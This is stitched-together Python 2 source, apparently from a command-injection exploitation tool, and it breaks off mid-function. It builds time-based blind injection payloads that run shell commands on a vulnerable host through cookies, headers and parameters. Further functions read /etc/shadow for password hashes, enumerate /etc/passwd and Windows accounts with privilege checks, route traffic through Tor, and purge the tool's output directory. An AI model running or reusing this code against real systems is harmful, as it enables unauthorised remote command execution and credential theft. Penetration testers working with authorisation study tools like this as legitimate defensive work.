self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" print settings.print_critical_msg(error_msg) raise SystemExit() if settings.REVERSE_TCP == False and settings.BIND_TCP == False: opener = urllib2.OpenerDirector() opener.add_handler(connection_handler()) response = False current_attempt = 0 while not response and current_attempt <= settings.MAX_RETRIES: try: opener.open(request) response = True if settings.VERBOSITY_LEVEL < 2: if current_attempt != 0: info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.INIT_TEST == True: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if not settings.CHECK_INTERNET: settings.INIT_TEST = False except urllib2.URLError, err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" try: error_msg = str(err_msg.args[0]).split("] ")[1] + ". " except IndexError: error_msg = "" error_msg += "Please wait while retring the request(s)." print settings.print_critical_msg(error_msg) warn_msg = "In case the provided target URL is valid, try to rerun with" warn_msg += " the switch '--random-agent' and/or proxy switch." print settings.print_warning_msg(warn_msg) if settings.VERBOSITY_LEVEL >= 2 or current_attempt == 1: info_msg = "Please wait while retring the request(s)." print settings.print_info_msg(info_msg) current_attempt = current_attempt + 1 time.sleep(3) except httplib.BadStatusLine, err_msg: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" if len(err_msg.line) > 2: print err_msg.line, err_msg.message raise SystemExit() except AttributeError: raise SystemExit()
def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist." print settings.print_warning_msg(warn_msg) return info_msg = "Purging content of directory '" + directory + "'" if not menu.options.verbose >= 1: info_msg += "... " else: info_msg += ".\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Purging content of target directory. dir_paths = [] file_paths = [] for rootpath, directories, filenames in os.walk(directory): dir_paths.extend( [os.path.abspath(os.path.join(rootpath, i)) for i in directories]) file_paths.extend( [os.path.abspath(os.path.join(rootpath, i)) for i in filenames]) # Changing file attributes. if menu.options.verbose >= 1: info_msg = "Changing file attributes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE) except: failed = True pass if menu.options.verbose >= 1: if not failed: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" # Writing random data to files. if menu.options.verbose >= 1: info_msg = "Writing random data to files... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: filesize = os.path.getsize(file_path) with open(file_path, "w+b") as f: f.write("".join( chr(random.randint(0, 255)) for _ in xrange(filesize))) except: failed = True pass if menu.options.verbose >= 1: if not failed: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" # Truncating files. if menu.options.verbose >= 1: info_msg = "Truncating files... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: with open(file_path, 'w') as f: pass except: failed = True pass if menu.options.verbose >= 1: if not failed: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" # Renaming filenames to random values. if menu.options.verbose >= 1: info_msg = "Renaming filenames to random values... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: os.rename( file_path, os.path.join( os.path.dirname(file_path), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: failed = True pass if menu.options.verbose >= 1: if not failed: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" # Renaming directory names to random values. if menu.options.verbose >= 1: info_msg = "Renaming directory names to random values... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False dir_paths.sort( cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) for dir_path in dir_paths: try: os.rename( dir_path, os.path.join( os.path.dirname(dir_path), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: failed = True pass if menu.options.verbose >= 1: if not failed: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" # Deleting the whole directory tree. if menu.options.verbose >= 1: info_msg = "Deleting the whole directory tree... " sys.stdout.write(settings.print_info_msg(info_msg)) os.chdir(os.path.join(directory, "..")) failed = False try: shutil.rmtree(directory) except OSError, ex: failed = True
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) _ = True if output == False: output = "" session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output if sys_passes == "": sys_passes = " " if sys_passes: info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0: sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] info_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[ 1] and fields[1] != "": print(" [" + str(count) + "] " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + " : " + fields[1]) output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." sys.stdout.write( settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush()
def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response): found_chars = False info_msg = "Testing the reliability of used payload... " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: print settings.print_info_msg(info_msg) for output_length in range(1, 3): # Execute shell commands on vulnerable host. if alter_shell: payload = tfb_payloads.cmd_execution_alter_shell( separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) else: payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): found_chars = True break if found_chars == True: num_of_chars = output_length + 1 check_start = 0 check_end = 0 check_start = time.time() output = [] percent = 0 for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 3): # Get the execution ouput, of shell execution. if alter_shell: payload = tfb_payloads.fp_result_alter_shell( separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) else: payload = tfb_payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Encode payload to base64 format. if settings.TAMPER_SCRIPTS['base64encode']: payload = base64.b64encode(payload) # Encode payload to hex format. elif settings.TAMPER_SCRIPTS['hexencode']: payload = payload.encode("hex") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test( url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test( url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and ( how_long - timesec >= settings.FOUND_DIFF): output.append(ascii_char) break check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) if str(output) == str(randvcalc): return how_long, output
def do_check(): # Check if 'tor' is installed. requirment = "tor" requirments.do_check(requirment) # Check if 'privoxy' is installed. requirment = "privoxy" requirments.do_check(requirment) check_privoxy_proxy = True info_msg = "Testing Tor SOCKS proxy settings (" info_msg += settings.PRIVOXY_IP + ":" + PRIVOXY_PORT info_msg += ")... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: privoxy_proxy = urllib2.ProxyHandler( {settings.SCHEME: settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) opener = urllib2.build_opener(privoxy_proxy) urllib2.install_opener(opener) except: check_privoxy_proxy = False pass if check_privoxy_proxy: try: check_tor_page = opener.open( "https://check.torproject.org/").read() found_ip = re.findall(r": <strong>" + "(.*)" + "</strong></p>", check_tor_page) if not "You are not using Tor" in check_tor_page: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() if menu.options.tor_check: success_msg = "Tor connection is properly set. " else: success_msg = "" success_msg += "Your ip address appears to be " + found_ip[ 0] + ".\n" sys.stdout.write(settings.print_success_msg(success_msg)) warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str( settings.TIMESEC) + " because switch '--tor' was provided." print settings.print_warning_msg(warn_msg) else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" if menu.options.tor_check: err_msg = "It seems that your Tor connection is not properly set. " else: err_msg = "" err_msg += "Can't establish connection with the Tor SOCKS proxy. " err_msg += "Please make sure that you have " err_msg += "Tor installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." print settings.print_critical_msg(err_msg) raise SystemExit() except urllib2.URLError, err_msg: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" if menu.options.tor_check: err_msg = "It seems that your Tor connection is not properly set. " else: err_msg = "" err_msg = "Please make sure that you have " err_msg += "Tor installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." print settings.print_critical_msg(err_msg) raise SystemExit() except httplib.BadStatusLine, err_msg: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" if len(err_msg.line) > 2: print err_msg.line, err_msg.message raise SystemExit()
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'") # else: # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = "cmd /c " + cmd if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_users = cb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Windows users enumeration. if settings.TARGET_OS == "win": info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[ user] + ")[22..($(net user " + sys_users_list[ user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'", "\\'") cmd = "cmd /c " + cmd response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) check_privs = cb_injector.injection_results( response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" print " (" + str( count ) + ") '" + Style.BRIGHT + sys_users_list[ user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + sys_users_list[user] + is_privileged + ".\n") output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass # Unix-like users enumeration. else: info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1: sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." print "\n" + settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users).strip() print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user:user + 3]) if len(sys_users_list) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ( 'ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write( "\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL) ).sub("", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int( fields[1]) < 99: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int( fields[1]) < 65534: if int(fields[1]) == 99 or int( fields[1]) == 60001 or int( fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" else: is_privileged = "" is_privileged_nh = "" print " (" + str( count ) + ") '" + Style.BRIGHT + fields[ 0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[ 1] + "). Home directory is in '" + Style.BRIGHT + fields[ 2] + Style.RESET_ALL + "'." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n") output_file.close() except ValueError: if count == 1: warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." print settings.print_warning_msg(warn_msg) sys_users = " ".join( str(p) for p in sys_users.split(":")) print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass
def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response): if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" found_chars = False info_msg = "Checking the reliability of the used payload " info_msg += "in case of a false positive result... " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: print settings.print_info_msg(info_msg) # Varying the sleep time. timesec = timesec + random.randint(1, 5) # Checking the output length of the used payload. for output_length in range(1, 3): # Execute shell commands on vulnerable host. if alter_shell: payload = tb_payloads.cmd_execution_alter_shell( separator, cmd, output_length, timesec, http_request_method) else: payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for testing the reliability of used payload..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): found_chars = True break if found_chars == True: if settings.TARGET_OS == "win": cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 check_end = 0 check_start = time.time() output = [] percent = 0 sys.stdout.flush() is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 20): if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.fp_result_alter_shell( separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: # Get the execution output, of shell execution. payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for testing the reliability of used payload..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test( url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test( url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and ( how_long - timesec >= settings.FOUND_DIFF): output.append(ascii_char) is_valid = True break if is_valid: break check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) if str(output) == str(randvcalc): if settings.VERBOSITY_LEVEL == 1: print "" return how_long, output
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" if menu.options.file_write or menu.options.file_upload: minlen = 0 else: minlen = 1 found_chars = False info_msg = "Retrieving the length of execution output... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL > 1: print "" for output_length in range(int(minlen), int(maxlen)): if alter_shell: # Execute shell commands on vulnerable host. payload = tb_payloads.cmd_execution_alter_shell( separator, cmd, output_length, timesec, http_request_method) else: # Execute shell commands on vulnerable host. payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL >= 1: pass else: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() if settings.VERBOSITY_LEVEL == 1: print "" success_msg = "Retrieved " + str( output_length) + " characters." print settings.print_success_msg(success_msg) found_chars = True injection_check = False break # Proceed with the next (injection) step! if found_chars == True: if settings.TARGET_OS == "win": cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 check_end = 0 check_start = time.time() output = [] percent = "0.0" info_msg = "Presuming the execution output, please wait... " if menu.options.verbose < 1: 